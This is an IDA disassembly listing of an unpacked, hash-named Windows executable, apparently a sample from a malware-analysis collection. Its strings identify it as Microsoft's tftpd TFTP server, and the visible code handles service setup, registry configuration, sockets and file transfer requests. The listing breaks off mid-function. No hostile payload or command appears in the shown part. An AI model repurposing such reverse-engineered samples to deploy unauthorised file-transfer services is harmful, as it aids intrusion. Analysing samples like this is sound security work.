;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 10E6736AFC3F9EE52EA1A9D2E224AA8E
; File Name : u:\work\10e6736afc3f9ee52ea1a9d2e224aa8e_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 1000000
; Section 1. (virtual address 00001000)
; Virtual size : 00003310 ( 13072.)
; Section size in file : 00003310 ( 13072.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
include uni.inc ; see unicode subdir of ida for info on unicode
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 1001000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_1001000 dd 77D882ACh dword_1001004 dd 77D82985h dword_1001008 dd 77D8858Eh dword_100100C dd 77D87D4Dh dword_1001010 dd 77D82C54h dword_1001014 dd 77D99694h ; sub_1001DEB+6Br ...
dd 0
dword_100101C dd 77E6B0BBh dword_1001020 dd 77E64CA6h dword_1001024 dd 77E6C37Ah dword_1001028 dd 77F877E0h dword_100102C dd 77E6C4E4h ; sub_1002F31+1C3r ...
dword_1001030 dd 77E5670Dh dword_1001034 dd 77E56F37h dword_1001038 dd 77E5668Ch ; sub_1001665:loc_1001762r ...
dword_100103C dd 77E58778h ; sub_1001A91+1ABr
dword_1001040 dd 77E5B217h ; sub_10018DB+B4r ...
dword_1001044 dd 77E58D0Fh ; sub_10019F0+14r ...
dword_1001048 dd 77E55304h dword_100104C dd 77F8AA7Dh ; sub_1001A91+B5r ...
dword_1001050 dd 77FC9C41h dword_1001054 dd 77E5A6C8h ; sub_1001E73+9Er ...
dword_1001058 dd 77F8AA4Ch ; sub_1001A91+4Er ...
dword_100105C dd 77E64A02h, 77E6E673h, 77FC976Bh, 77E6310Fh ; sub_1001A91+2C1r ...
dword_100106C dd 77E54B74h ; sub_100205A+4Er
dword_1001070 dd 77F89789h dword_1001074 dd 77E6CFC6h dd 0
dword_100107C dd 78001DEAh dword_1001080 dd 78003E70h dword_1001084 dd 7800B426h dword_1001088 dd 78014EE9h dword_100108C dd 78014DABh dword_1001090 dd 7801D884h dword_1001094 dd 78001000h ; sub_100205A+93r ...
dword_1001098 dd 78001EC9h dword_100109C dd 78012188h dword_10010A0 dd 780010EDh ; sub_1001F54+47r ...
dword_10010A4 dd 7802A875h ; sub_1001DEB+8r
dword_10010A8 dd 78017A09h dword_10010AC dd 7800C9ACh ; sub_10027E1+77r ...
dword_10010B0 dd 78017E4Bh, 78022AA9h ; sub_1001665+1DBr
dword_10010B8 dd 7802A38Bh ; sub_1001DEB+19r
dword_10010BC dd 78003C1Eh dword_10010C0 dd 7800F56Ah dword_10010C4 dd 78003E5Ah dword_10010C8 dd 78003E64h dword_10010CC dd 78003E6Ah dword_10010D0 dd 7803BB70h dword_10010D4 dd 78025147h dword_10010D8 dd 7800BB9Eh dword_10010DC dd 7800F7DCh, 7800B908h ; .text:01003B7Ar
dword_10010E4 dd 7801D1CFh ; sub_100333A+1B9r
dword_10010E8 dd 78014B25h dword_10010EC dd 7800269Eh ; sub_1001665+C0r ...
dd 0
dword_10010F4 dd 74FA1311h dword_10010F8 dd 74FA2B3Ch ; sub_1001A91+12Br ...
dword_10010FC dd 74FA4A6Ah dword_1001100 dd 74FA5502h dword_1001104 dd 74FA2B57h ; sub_100230A+Fr ...
dword_1001108 dd 74FAD027h dword_100110C dd 74FA2B57h ; sub_1002A3D+40r ...
; ---------------------------------------------------------------------------
locret_1001110: ; DATA XREF: sub_1001A91+10Fr
retf
; ---------------------------------------------------------------------------
db 0ACh, 0FAh, 74h
dword_1001114 dd 74FA125Ah dword_1001118 dd 74FA894Bh dword_100111C dd 74FA3284h ; sub_100205A+E7r ...
dword_1001120 dd 74FA5413h ; sub_1002F31+64r ...
dword_1001124 dd 74FA3A14h ; sub_1002F31+256r ...
dword_1001128 dd 74FA90C0h dword_100112C dd 74FA3832h ; sub_100333A+1EBr
dword_1001130 dd 74FA306Fh ; sub_1002A3D+65r ...
align 8
dword_1001138 dd 772F7866h dword_100113C dd 772F25A3h dd 0
dword_1001144 dd 77F82A70h dword_1001148 dd 77F8A557h dword_100114C dd 77FB6307h dword_1001150 dd 77F92A89h ; sub_100333A+95r
dword_1001154 dd 77F97C81h ; sub_1002B5E+114r ...
dword_1001158 dd 77F816E4h ; sub_1002A3D+FDr ...
dword_100115C dd 77F8F1D6h dword_1001160 dd 77F9431Dh ; sub_10023D8+F2r
dword_1001164 dd 77F936B1h dword_1001168 dd 77F912B1h ; sub_1002901+35r
dword_100116C dd 77F8F73Ch dword_1001170 dd 77F979C8h dword_1001174 dd 77F8D7C7h ; sub_10018DB+D6r
dword_1001178 dd 77F975A5h ; sub_1002F31+34Dr ...
dd 2 dup(0)
dd 37ECADD7h, 0
dd 4, 110h, 0
dd 4C00h, 0
dd 37ECADD7h, 0
dd 3, 310h, 0
dd 4D10h, 0
dd 37ECADD7h, 0
dd 6, 2 dup(0)
dd 5020h, 0
dd 37ECADD7h, 0
dd 2, 1Ah, 0
db 90h
db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
db ' 22:17:18',0Ah,0
aOWritableFiles db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
aWritable db 'writable',0 ; DATA XREF: sub_1001570+BFo
; sub_10037BF+121o
align 4
aOReadableFiles db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
aReadable db 'readable',0 ; DATA XREF: sub_1001570+B1o
; sub_10037BF+F1o
align 4
aOValidmastersK db ' o ValidMasters keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
aMasters db 'masters',0 ; DATA XREF: sub_1001570+A3o
; sub_10037BF+C1o
aOValidclientsK db ' o ValidClients keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
aClients db 'clients',0 ; DATA XREF: sub_1001570+95o
; sub_10037BF+8Eo
aTheseKeysAreSh db 'These keys are shell patterns with * and ? (see examples above):',0Ah
; DATA XREF: sub_1001570+8Do
db 0
align 4
aOStartdirector db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
aDirectory db 'directory',0 ; DATA XREF: sub_1001570+7Fo
; sub_10037BF+5Co
align 4
aRegistryKeyNam db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
; DATA XREF: sub_1001570+76o
aSystemCurrentc db 'System\CurrentControlSet\Services\tftpd\parameters',0
; DATA XREF: sub_1001570+71o
; sub_10037BF+13o
align 10h
aTftpd_logfileI db ' TFTPD_LOGFILE is %s',0Ah ; DATA XREF: sub_1001570+68o
db 0Ah,0
align 4
aTftpd_log db 'tftpd.log',0 ; DATA XREF: sub_1001570+63o
; sub_1001665+1D6o
align 4
aTftpd_default_ db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
align 4
aTftpdroot db '\tftpdroot\',0 ; DATA XREF: sub_1001570+55o
; sub_1003910+1Eo
a? db '-?',0 ; DATA XREF: sub_1001570+10o
align 4
aA db 'a+',0 ; DATA XREF: sub_1001665+1D1o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_100205A+31o
align 10h
aUdp db 'udp',0 ; DATA XREF: sub_100205A+2Co
aOptionNegotiat db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
align 10h
aNoSuchUser db 'No such user',0 ; DATA XREF: .data:01005CDCo
align 10h
aFileAlreadyExi db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
align 10h
aDiskFullOrAllo db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
align 4
aAccessViolatio db 'Access violation',0 ; DATA XREF: .data:01005CC8o
align 4
aFileNotFound db 'File not found',0 ; DATA XREF: .data:01005CC4o
align 4
aErrorUndefined db 'Error undefined',0 ; DATA XREF: .data:off_1005CC0o
aTsize db 'tsize',0 ; DATA XREF: sub_10023D8:loc_100251Ao
align 10h
aTimeout_0 db 'timeout',0 ; DATA XREF: sub_10023D8:loc_1002498o
aBlksize db 'blksize',0 ; DATA XREF: sub_10023D8+4Eo
aTimeout db 'Timeout',0 ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
; sub_100333A+201o ...
align 10h
aFileNameTooLon db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
; sub_100333A+1A0o
align 4
aMalformedFileN db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
; sub_100333A+159o
aOctet db 'octet',0 ; DATA XREF: sub_1002F31+D2o
; sub_100333A:loc_100341Fo
align 10h
aNetascii db 'netascii',0 ; DATA XREF: sub_1002F31+9Fo
; sub_100333A:loc_10033E1o
align 4
asc_100155C: ; DATA XREF: sub_1003910+7Fo
unicode 0, <\>,0
dword_1001560 dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B R O U T I N E =======================================
sub_1001570 proc near ; CODE XREF: .text:01003B4Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 1
push esi
jle loc_1001646
mov eax, [esp+4+arg_4]
mov esi, offset a? ; "-?"
mov eax, [eax+4]
loc_1001588: ; CODE XREF: sub_1001570+34j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_10015AA
test cl, cl
jz short loc_10015A6
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_10015AA
inc eax
inc eax
inc esi
inc esi
test cl, cl
jnz short loc_1001588
loc_10015A6: ; CODE XREF: sub_1001570+22j
xor eax, eax
jmp short loc_10015AF
; ---------------------------------------------------------------------------
loc_10015AA: ; CODE XREF: sub_1001570+1Ej
; sub_1001570+2Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_10015AF: ; CODE XREF: sub_1001570+38j
test eax, eax
jnz loc_1001646
mov esi, ds:dword_10010D4
push offset asc_1005010 ; " ======================================"...
call esi ; dword_10010D4
pop ecx
push offset aTftpdroot ; "\\tftpdroot\\"
push offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is %s\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aTftpd_log ; "tftpd.log"
push offset aTftpd_logfileI ; " TFTPD_LOGFILE is %s\n\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
push offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aDirectory ; "directory"
push offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aTheseKeysAreSh ; "These keys are shell patterns with * an"...
call esi ; dword_10010D4
pop ecx
push offset aClients ; "clients"
push offset aOValidclientsK ; " o ValidClients keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aMasters ; "masters"
push offset aOValidmastersK ; " o ValidMasters keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aReadable ; "readable"
push offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push offset aWritable ; "writable"
push offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
call esi ; dword_10010D4
pop ecx
pop ecx
push 0FFFFFFFFh
call ds:dword_10010EC
pop ecx
loc_1001646: ; CODE XREF: sub_1001570+6j
; sub_1001570+41j
push offset off_1005CB0
call ds:dword_1001004
test eax, eax
jnz short loc_100165B
call ds:dword_1001038
loc_100165B: ; CODE XREF: sub_1001570+E3j
push 0
call ds:dword_100101C
pop esi
retn
sub_1001570 endp
; =============== S U B R O U T I N E =======================================
sub_1001665 proc near ; DATA XREF: .data:01005CB4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push offset sub_1001DEB
push offset aTftpd ; "Tftpd"
mov dword_1006120, 30h
mov dword_1006124, 2
mov dword_1006128, ebp
mov dword_1006134, 1
mov dword_1006138, 4E20h
mov dword_100612C, ebp
mov dword_1006130, ebp
call ds:dword_1001010
cmp eax, ebp
mov dword_1006044, eax
jz loc_1001762
mov esi, ds:dword_1001014
mov edi, offset dword_1006120
push edi
push eax
call esi ; dword_1001014
cmp eax, ebp
jz loc_1001762
mov ebx, ds:dword_1001040
push ebp
push ebp
push ebp
push ebp
call ebx ; dword_1001040
push ebp
push ebp
push ebp
push ebp
mov dword_1005DDC, eax
call ebx ; dword_1001040
cmp dword_1005DDC, ebp
mov dword_1005DE0, eax
jz short loc_100171C
cmp eax, ebp
jz short loc_100171C
push offset dword_1006140
push 101h
call ds:dword_10010FC
cmp eax, 0FFFFFFFFh
jnz short loc_1001735
call ds:dword_10010F8
loc_100171C: ; CODE XREF: sub_1001665+96j
; sub_1001665+9Aj ...
push 1Fh
call sub_1001E73
push 1
call ds:dword_10010EC
pop ecx
loc_100172C: ; CODE XREF: sub_1001665+218j
; sub_1001665+224j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_1001735: ; CODE XREF: sub_1001665+AFj
push edi
mov dword_1006124, 4
push dword_1006044
mov dword_1006128, 7
mov dword_1006134, ebp
mov dword_1006138, ebp
call esi ; dword_1001014
cmp eax, ebp
jnz short loc_100176A
loc_1001762: ; CODE XREF: sub_1001665+57j
; sub_1001665+6Ej
call ds:dword_1001038
jmp short loc_100171C
; ---------------------------------------------------------------------------
loc_100176A: ; CODE XREF: sub_1001665+FBj
push 9
pop ecx
xor eax, eax
mov edx, offset dword_10060C0
mov edi, edx
rep stosd
push edx
call ds:dword_10010A4
pop ecx
mov edx, [esp+10h+arg_0]
dec edx
mov ebx, (offset dword_1005E07+1)
jz short loc_10017F3
mov eax, [esp+10h+arg_4]
lea eax, [eax+edx*4]
mov [esp+10h+arg_0], eax
loc_1001797: ; CODE XREF: sub_1001665+18Cj
mov eax, [esp+10h+arg_0]
mov eax, [eax]
cmp byte ptr [eax], 2Dh
jnz short loc_10017F3
movsx ecx, byte ptr [eax+1]
sub ecx, 64h
jz short loc_10017C9
dec ecx
jz short loc_10017BD
dec ecx
jnz short loc_10017E9
mov dword_1005DD8, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017BD: ; CODE XREF: sub_1001665+147j
mov dword_1005DD4, 1
jmp short loc_10017E9
; ---------------------------------------------------------------------------
loc_10017C9: ; CODE XREF: sub_1001665+144j
lea edi, [eax+2]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_10017E9: ; CODE XREF: sub_1001665+14Aj
; sub_1001665+156j ...
sub [esp+10h+arg_0], 4
dec edx
cmp edx, ebp
ja short loc_1001797
loc_10017F3: ; CODE XREF: sub_1001665+125j
; sub_1001665+13Bj
call sub_10037BF
call sub_1003910
mov esi, ds:dword_10010A8
push ebx
call esi ; dword_10010A8
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_100182E
call ds:dword_10010AC
push ebx
call ds:dword_10010B0
cmp eax, ebp
pop ecx
jnz loc_100171C
push ebx
call esi ; dword_10010A8
cmp eax, ebp
pop ecx
jnz loc_100171C
loc_100182E: ; CODE XREF: sub_1001665+1A5j
cmp dword_1005DD8, ebp
jz short loc_1001857
push offset aA ; "a+"
push offset aTftpd_log ; "tftpd.log"
call ds:dword_10010B0+4
pop ecx
cmp eax, ebp
pop ecx
mov dword_1005DD0, eax
jnz short loc_1001857
mov dword_1005DD8, ebp
loc_1001857: ; CODE XREF: sub_1001665+1CFj
; sub_1001665+1EAj
push offset dword_10060C0
call ds:dword_10010B8
pop ecx
call sub_10018DB
call sub_10019F0
push 0FFFFFFFFh
push dword_1005DDC
call ds:dword_100103C
cmp eax, ebp
jz loc_100172C
call ds:dword_1001038
jmp loc_100172C
sub_1001665 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100188E proc near ; CODE XREF: sub_100205A+D5p
; sub_1002F31+2A8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push 3
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_1001100
test eax, eax
jz short loc_10018AE
call ds:dword_1001038
xor eax, eax
jmp short locret_10018D7
; ---------------------------------------------------------------------------
loc_10018AE: ; CODE XREF: sub_100188E+14j
test [ebp+arg_8], 1
push 0
push 0FFFFFFFFh
push [ebp+arg_0]
jz short loc_10018C2
push offset loc_1001D74
jmp short loc_10018C7
; ---------------------------------------------------------------------------
loc_10018C2: ; CODE XREF: sub_100188E+2Bj
push offset loc_1001DDB
loc_10018C7: ; CODE XREF: sub_100188E+32j
push [ebp+arg_4]
lea eax, [ebp+var_4]
push eax
call ds:dword_1001174
mov eax, [ebp+var_4]
locret_10018D7: ; CODE XREF: sub_100188E+1Ej
leave
retn 0Ch
sub_100188E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10018DB proc near ; CODE XREF: sub_1001665+1FEp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ds:dword_1001044
push edi
push offset dword_1006080
call esi ; dword_1001044
push offset dword_1006020
call esi ; dword_1001044
mov eax, offset dword_1006098
mov dword_100609C, eax
mov dword_1006098, eax
mov eax, offset dword_1006038
mov dword_100603C, eax
mov dword_1006038, eax
lea eax, [ebp+var_4]
push eax
call sub_1001FA6
xor esi, esi
test eax, eax
jnz short loc_1001957
mov eax, [ebp+var_4]
xor ebx, ebx
cmp [eax], esi
jbe short loc_100194F
xor edi, edi
loc_100192E: ; CODE XREF: sub_10018DB+72j
mov ecx, [eax+edi+4]
cmp ecx, esi
jz short loc_1001947
cmp ecx, 100007Fh
jz short loc_1001947
push ecx
call sub_100205A
mov eax, [ebp+var_4]
loc_1001947: ; CODE XREF: sub_10018DB+59j
; sub_10018DB+61j
inc ebx
add edi, 18h
cmp ebx, [eax]
jb short loc_100192E
loc_100194F: ; CODE XREF: sub_10018DB+4Fj
push eax
call ds:dword_10010A0
pop ecx
loc_1001957: ; CODE XREF: sub_10018DB+46j
push offset dword_10060A0
call ds:dword_1001170
cmp eax, esi
jnz loc_10019EB
mov eax, 0EA60h
push esi
push eax
push eax
push esi
push offset sub_10029BA
push offset dword_1006048
push dword_10060A0
call ds:dword_1001178
push esi
push esi
push esi
push esi
mov edi, eax
call ds:dword_1001040
cmp eax, esi
mov dword_1005DF8, eax
jnz short loc_10019A2
mov eax, edi
jmp short loc_10019EB
; ---------------------------------------------------------------------------
loc_10019A2: ; CODE XREF: sub_10018DB+C1j
push esi
push 0FFFFFFFFh
push esi
push offset sub_1002219
push eax
push offset dword_1005DFC
call ds:dword_1001174
cmp eax, esi
jnz short loc_10019EB
mov ecx, offset dword_1006100
xor eax, eax
mov edi, ecx
push ecx
stosd
stosd
stosd
stosd
stosd
mov eax, dword_1005DF8
push offset dword_1005E00
mov dword_1006110, eax
call sub_1003A44
cmp eax, esi
jz short loc_10019E9
cmp eax, 3E5h
jnz short loc_10019EB
loc_10019E9: ; CODE XREF: sub_10018DB+105j
xor eax, eax
loc_10019EB: ; CODE XREF: sub_10018DB+89j
; sub_10018DB+C5j ...
pop edi
pop esi
pop ebx
leave
retn
sub_10018DB endp
; =============== S U B R O U T I N E =======================================
sub_10019F0 proc near ; CODE XREF: sub_1001665+203p
mov eax, offset dword_1006078
push offset dword_1006060
mov dword_100607C, eax
mov dword_1006078, eax
call ds:dword_1001044
push 0
push 0EFD1Ch
push 0
call ds:dword_1001048
mov dword_1005DEC, eax
retn
sub_10019F0 endp
; =============== S U B R O U T I N E =======================================
sub_1001A1F proc near ; CODE XREF: sub_10029BA+79p
push ebx
push esi
mov ebx, offset dword_1006060
push edi
push ebx
xor esi, esi
call ds:dword_1001058
mov eax, dword_1005DF0
sub eax, dword_1005DF4
cmp eax, 0Ah
jbe short loc_1001A46
shr eax, 1
mov esi, eax
jmp short loc_1001A4E
; ---------------------------------------------------------------------------
loc_1001A46: ; CODE XREF: sub_1001A1F+1Fj
cmp eax, 3
jbe short loc_1001A4E
push 2
pop esi
loc_1001A4E: ; CODE XREF: sub_1001A1F+25j
; sub_1001A1F+2Aj
test esi, esi
jbe short loc_1001A86
mov edi, esi
loc_1001A54: ; CODE XREF: sub_1001A1F+65j
mov eax, dword_1006078
mov esi, eax
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h]
call ds:dword_1001054
push esi
push 0
push dword_1005DEC
call ds:dword_1001050
dec dword_1005DF0
dec edi
jnz short loc_1001A54
loc_1001A86: ; CODE XREF: sub_1001A1F+31j
push ebx
call ds:dword_100104C
pop edi
pop esi
pop ebx
retn
sub_1001A1F endp
; =============== S U B R O U T I N E =======================================
sub_1001A91 proc near ; CODE XREF: .text:01001DCCp
; .text:01001DE1p
var_68 = byte ptr -68h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = byte ptr -30h
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = byte ptr -10h
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_10 = byte ptr 14h
arg_FF9C = dword ptr 0FFA0h
arg_FFA0 = dword ptr 0FFA4h
arg_FFA4 = dword ptr 0FFA8h
arg_FFA8 = dword ptr 0FFACh
arg_FFD4 = dword ptr 0FFD8h
arg_FFD8 = dword ptr 0FFDCh
arg_10004 = dword ptr 10008h
mov eax, 10004h
call sub_1003A3E
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov [esp+10h], ebp
mov ebx, offset dword_1006060
loc_1001AAA: ; CODE XREF: sub_1001A91+291j
lea eax, [esp+10h+arg_0]
push eax
push 4004667Fh
push [esp+18h+arg_10004]
call ds:dword_1001114
cmp eax, ebp
jnz loc_1001D27
cmp [esp+1Ch+var_8], ebp
jz loc_1001D65
xor eax, eax
lea edi, [esp+1Ch+arg_10]
stosd
stosd
stosd
stosd
push ebx
stosd
call ds:dword_1001058
mov eax, dword_1006078
inc dword_1005DF4
cmp eax, offset dword_1006078
jz short loc_1001B11
mov ecx, [eax]
mov esi, eax
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
push dword ptr [esi+30h]
call ds:dword_100105C+0Ch
mov eax, [esi+30h]
jmp short loc_1001B41
; ---------------------------------------------------------------------------
loc_1001B11: ; CODE XREF: sub_1001A91+64j
inc dword_1005DF0
push 2FF6Ch
push 8
push dword_1005DEC
call ds:dword_100105C+8
mov esi, eax
cmp esi, ebp
jz loc_1001D5E
push ebp
push ebp
push ebp
push ebp
call ds:dword_1001040
mov [esi+30h], eax
loc_1001B41: ; CODE XREF: sub_1001A91+7Ej
push ebx
mov [esp+40h+arg_0], eax
call ds:dword_100104C
lea ebp, [esi+34h]
mov ecx, 3FEFh
xor eax, eax
mov edi, ebp
rep stosd
stosb
mov eax, [esp+40h+arg_FFD8]
mov [esp+40h+var_1C], ebp
mov [esp+40h+var_20], 0FFBDh
mov [esp+40h+var_28], 10h
mov [esi+1Ch], eax
lea eax, [esp+40h+var_10]
push 0
push eax
lea eax, [esp+48h+var_28]
lea edi, [esi+2Ch]
push eax
lea eax, [esi+0Ch]
push eax
lea eax, [esp+50h+var_30]
push eax
push edi
lea eax, [esp+58h+var_20]
push 1
push eax
push [esp+60h+arg_FFD4]
call dword ptr ds:locret_1001110
mov [esp+64h+var_48], eax
mov ax, [esi+0Eh]
push eax
call ds:dword_100110C
cmp [esp+68h+var_4C], 0
jz short loc_1001C34
call ds:dword_10010F8
cmp eax, 3E5h
jnz loc_1001D2F
mov eax, dword_1005DDC
push 0FFFFFFFFh
mov [esp+6Ch+var_40], eax
mov eax, [esp+6Ch+var_28]
mov [esp+6Ch+var_3C], eax
lea eax, [esp+6Ch+var_40]
push 0
push eax
push 2
call ds:dword_100105C+4
cmp eax, 0FFFFFFFFh
jz loc_1001D2F
cmp eax, 102h
jz loc_1001D2F
test eax, eax
jz loc_1001D2F
lea eax, [esp+78h+var_68]
push eax
push 0
lea eax, [esp+80h+var_48]
push edi
push eax
push [esp+88h+arg_FF9C]
call ds:dword_1001108
test eax, eax
jnz short loc_1001C34
call ds:dword_10010F8
jmp loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C34: ; CODE XREF: sub_1001A91+129j
; sub_1001A91+196j
push 0
push dword_1005DDC
call ds:dword_100103C
test eax, eax
jz loc_1001D2F
cmp dword ptr [edi], 2
jl loc_1001CEA
xor edi, edi
cmp [esp+70h+arg_FFA8], edi
jz short loc_1001CDA
mov ax, [ebp+0]
push eax
call ds:dword_1001104
movzx ecx, ax
test ecx, ecx
jle short loc_1001CB8
cmp ecx, 2
jle short loc_1001C81
cmp ecx, 4
jz short loc_1001CB8
cmp ecx, 5
jnz short loc_1001CB8
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001C81: ; CODE XREF: sub_1001A91+1E2j
cmp ax, 1
jnz short loc_1001C94
inc dword_10060C4
mov edi, offset sub_1002F31
jmp short loc_1001CA5
; ---------------------------------------------------------------------------
loc_1001C94: ; CODE XREF: sub_1001A91+1F4j
cmp ax, 2
jnz short loc_1001CA5
inc dword_10060C8
mov edi, offset sub_100333A
loc_1001CA5: ; CODE XREF: sub_1001A91+201j
; sub_1001A91+207j
mov eax, [esp+74h+arg_FFA0]
test edi, edi
mov [esi+8], eax
jz short loc_1001CEA
push esi
call edi ; sub_1002F31
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CB8: ; CODE XREF: sub_1001A91+1DDj
; sub_1001A91+1E7j ...
push 0
push 4
push [esp+7Ch+arg_FFA0]
inc dword_10060CC
lea eax, [esp+80h+var_20]
push eax
lea eax, [esp+84h+var_30]
push eax
call sub_100230A
jmp short loc_1001CEA
; ---------------------------------------------------------------------------
loc_1001CDA: ; CODE XREF: sub_1001A91+1CBj
mov eax, [esp+70h+arg_FFA4]
push esi
mov [esi+8], eax
call sub_1002EC8
loc_1001CEA: ; CODE XREF: sub_1001A91+19Ej
; sub_1001A91+1BCj ...
push ebx
call ds:dword_1001058
mov eax, dword_1006078
mov dword ptr [esi+4], offset dword_1006078
mov [esi], eax
push offset dword_1005DE8
mov [eax+4], esi
mov dword_1006078, esi
call ds:dword_100105C
dec dword_1005DF4
push ebx
call ds:dword_100104C
xor ebp, ebp
jmp loc_1001AAA
; ---------------------------------------------------------------------------
loc_1001D27: ; CODE XREF: sub_1001A91+32j
call ds:dword_10010F8
jmp short loc_1001D65
; ---------------------------------------------------------------------------
loc_1001D2F: ; CODE XREF: sub_1001A91+136j
; sub_1001A91+161j ...
push ebx
call ds:dword_1001058
mov eax, dword_1006078
mov dword ptr [esi+4], offset dword_1006078
mov [esi], eax
push offset dword_1005DE8
mov [eax+4], esi
mov dword_1006078, esi
call ds:dword_100105C
dec dword_1005DF4
loc_1001D5E: ; CODE XREF: sub_1001A91+9Dj
push ebx
call ds:dword_100104C
loc_1001D65: ; CODE XREF: sub_1001A91+3Cj
; sub_1001A91+29Cj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10004h
retn 8
sub_1001A91 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_1001D74: ; DATA XREF: sub_100188E+2Do
push ecx
push ebx
push ebp
push esi
mov esi, offset dword_1006020
push edi
mov edi, ds:dword_1001070
push esi
xor ebp, ebp
xor ebx, ebx
call edi ; dword_1001070
loc_1001D8B: ; CODE XREF: .text:01001DA1j
test eax, eax
jnz short loc_1001DA7
push 0C8h
call ds:dword_100106C
push esi
call edi ; dword_1001070
inc ebx
cmp ebx, 7Dh
jb short loc_1001D8B
test eax, eax
jz short loc_1001DD1
loc_1001DA7: ; CODE XREF: .text:01001D8Dj
lea eax, [esp+10h]
push eax
push dword ptr [esp+1Ch]
call sub_10021E5
test eax, eax
jnz short loc_1001DC0
mov eax, [esp+10h]
mov ebp, [eax+0Ch]
loc_1001DC0: ; CODE XREF: .text:01001DB7j
push esi
call ds:dword_100104C
push ebp
push dword ptr [esp+1Ch]
call sub_1001A91
loc_1001DD1: ; CODE XREF: .text:01001DA5j
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
loc_1001DDB: ; DATA XREF: sub_100188E:loc_10018C2o
push 0
push dword ptr [esp+8]
call sub_1001A91
xor eax, eax
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001DEB proc near ; DATA XREF: sub_1001665+6o
var_4 = byte ptr -4
arg_0 = dword ptr 8
